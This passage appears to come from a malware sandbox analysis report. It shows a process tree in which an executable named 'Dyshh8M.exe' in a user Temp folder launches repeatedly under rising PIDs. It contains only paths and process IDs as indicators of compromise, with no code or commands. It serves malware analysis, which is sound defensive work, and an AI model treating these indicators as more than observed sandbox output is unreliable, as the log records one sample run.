        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:8104
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:8112
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:8120
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:8128
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:8136
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:8144
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:8152
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:8160
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:8168
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:8176
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:8184
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:8196
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:8204
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:8212
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:8220
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:8228
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:8236
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:8244
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:8252
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:8260
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:8268
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:8276
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:8284
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:8292
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:8300
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:8308
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:8316
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:8324
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:8332
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:8340
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:8348
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:8356
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:8364
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:8372
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:8380
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:8388
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:8396
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:8404
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:8412
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:8420
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:8428
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:8436
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:8444
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:8452
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:8460
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:8468
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:8476
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:8484
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:8492
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:8500
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:8508
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:8516
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:8524
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:8532
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:8540
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:8548
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:8556
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:8564
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:8572
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:8580
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:8588
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:8596
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:8604
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:8616
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:8628
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:8636
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:8644
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:8652
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:8660
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:8668
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:8676
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:8684
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:8692
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:8700
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:8708
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:8716
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:8724
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:8732
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:8740
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:8748
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:8756
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:8764
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:8772
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:8780
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:8788
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:8796
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:8804
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:8812
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:8820
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:8828
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:8836
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:8844
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:8852
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:8860
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:8868
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:8876
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:8884
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:8892
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:8900
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:8908
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:8916
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:8924
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:8932
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:8940
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:8948
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:8956
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:8964
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:8972
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:8980
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:8988
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:8996
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:9004
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:9012
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:9020
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:9028
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:9036
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:9044
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:9052
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:9060
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:9068
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:9076
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:9084
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:9092
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:9100
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:9108
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:9116
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:9128
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:9136
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:9144
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:9152
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:9160
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:9168
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:9176
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:9184
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:9192
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:9200
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:9208
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:9124
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:9224
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:9232
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:9240
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:9248
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:9256
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:9272
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:9284
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:9292
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:9300
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:9308
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:9316
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:9324
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:9332
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:9340
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:9348
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:9356
        
        C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10031860101\Dyshh8M.exe"
        8⤵
        
        PID:9364
        
